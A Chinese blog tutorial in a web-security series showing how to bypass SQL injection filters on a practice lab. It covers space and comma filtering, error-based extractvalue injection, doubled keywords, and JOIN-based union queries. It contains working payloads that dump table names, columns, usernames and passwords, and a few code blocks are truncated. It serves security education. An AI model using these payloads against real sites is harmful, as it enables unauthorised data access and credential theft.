35岁重学网络安全——SQL注入篇（二十四）

原创 Armey 编码魔坊 2025年02月20日 20:26 山东

鲁迅先生曾经说过：做安全，先免责！

> *用户在使用本文信息时，应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。*

本文主要内容：空格的过滤绕过方法、逗号的过滤绕过方法。

3.空格过滤绕过

使用靶场**第26节**

源码分析

从源码中可以看出：过滤了 and 、 or 、注释符、空格等许多内容。

```
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);          //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);         //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);       //strip out /*
    $id= preg_replace('/[--]/',"", $id);         //Strip out --
    $id= preg_replace('/[#]/',"", $id);          //Strip out #
    $id= preg_replace('/[\s]/',"", $id);         //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);         //Strip out slashes
    return $id;
}
```

过滤空格

绕过手法

- 使用 + 代替空格
- 使用URL编码代替空格
  - %20 代表 spaces
  - %09 代表水平制表符（ Horizontal Tab ，简称 HT ）
  - %0A 代表换行符（ Line Feed ， LF ）
  - %0C 代表“换页符”（ Form Feed ， FF ）
  - %0D 代表“回车符”（ Carriage Return ， CR ）
  - %0B 代表垂直制表符（ Vertical Tab ， VT ）
  - %A0 代表不间断空格（ Non-Breaking Space ，简称 NBS ）
- 使用注释符 /**/ 代替空格
- 使用报错注入

- 使用 () 代替空格

靶场实验

方法一：%A0替代空格

参数： ?id=-1'%A0union%A0select%A01,database(),3%A0anandd%A0'1'='1 （此语句在 Linux 环境下才会生效，在**Windows下不会生效**）

方法二：利用报错注入

参数： ?id=1'||extractvalue(1,concat('^',(database())))||'1'='1

- || 表示或的含义
- 中间部分： extractvalue(1,concat('^',(database()))) 为报错注入语法
- '1'='1 ：由于注释符被过滤，因此用于闭合多余的单引号

查询表名

```
extractvalue(1,concat('^',(select(group_concat(table_name))from(infoorrmat
```

extractvalue() 有两个参数：第一个参数为任意数字；第二个参数为 concat() 函数

concat() 函数有两个参数，第一个参数为可以引发报错的 ^ ，第二个参数为查询表名的 sql 语句：

select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()

- 值得关注的是以下两点：
  - 因为过滤了**空格**，因此使用 () 代替空格。如： select group_concat() 改写为 select(group_concat())
  - 因为过滤了 or ，因此对 infoorrmation_schema 中的 infor 进行了复写，即 infoorr

查询列名

```
extractvalue(1,concat('^',(select(group_concat(column_name))from(infoorrma
```

注意两点：

- infoorrmation_schema.columns 中 infoorr 进行了复写
- anandd(table_name='users') 中 anandd 进行了复写

查询用户信息

```
extractvalue(1,concat('^',(select(concat(username,':',passwoorrd))from(use
```

注意一点：

- passwoorrd 中出现了 or ，因此需要复写

4. 逗号过滤绕过

如果逗号被过滤掉，可以使用 join 进行绕过

join简介

查询 users 表和 email 表中的内容

方式一：外联

```
select u.*,e.* from users u, emails e where u.id=e.id;
```

- u.* 与 e.* 表示： u 表中的所有的列和 e 表中所有的列
- users u 和 emails e 表示： users 表的别名为 u 表； emails 表的别名为 e 表
- u.id=e.id 表示：两张表相同的字段进行关联

方式二：join内联

```
select u.*,e.* from users u join emails e on u.id=e.id;
```

- u.* 与 e.* 表示： u 表中的所有的列和 e 表中所有的列
- users u 和 emails e 表示： users 表的别名为 u 表； emails 表的别名为 e 表
- join users on emails 表示：将 users 表和 emails 表进行内联， on 用于条件限定

join替代逗号案例

逗号形式： select * from users where id = 1 union select 1,2,3;

使用 join 替代**逗号**：

```
select * from users where id = 1
union
select * from (select 1)a join(select 2)b join(select 3)c;
```

select * from (select 1)a 含义： select 1 别名为 a ，查询 a 表中的所有列
join(select 2)b 含义： select 2 别名为 b ， join 进行内联操作（简单讲：就是连接前面语句）
join(select 3)c 含义： select 3 别名为 c

靶场实战

在第25节的源代码中添加一行， $id= preg_replace('/,/',"", $id); ，用于过滤逗号。

select 1,2,3 已经无法使用，因为逗号被过滤掉了

使用join绕过

查询数据库名称

参数： ?id=-1' union select * from (select 1)a join(select 2)b join(select 3)c --+ ，可以得知回显位为2和3

查询数据库名称： ?id=-1' union select * from (select 1)a join(select database())b join(select 3)c --+

查询表名

```
union
    select * from (select 1)a
    join(select group_concat(table_name)
        from infoorrmation_schema.tables
        where table_schema=(select database()))b
    join(select 3)c --+
```

由于第25节过滤了 and 与 or ，因此 information_schema 中的 infoor 进行了复写操作。

查询列名

```
union
    select * from (select 1)a
    join(select group_concat(column_name)
        from infoorrmation_schema.columns
        where table_schema=(select database())
            anandd table_name = 'users')b
    join(select 3)c --+
```

查询用户信息

```
# 查询用户名
union
    select * from (select 1)a
    join(select group_concat(username) from users)b
    join(select 3)c --+

# 查询用户密码
union
    select * from (select 1)a
```

```
join(select group_concat(passwoorrd) from users)b
join(select 3)c --+
```

WEB安全 65 SQL注入 28 网络安全 61

WEB安全 · 目录

上一篇
35岁重学网络安全——SQL注入篇（二十三）

下一篇
35岁重学网络安全——SQL注入篇（二十五）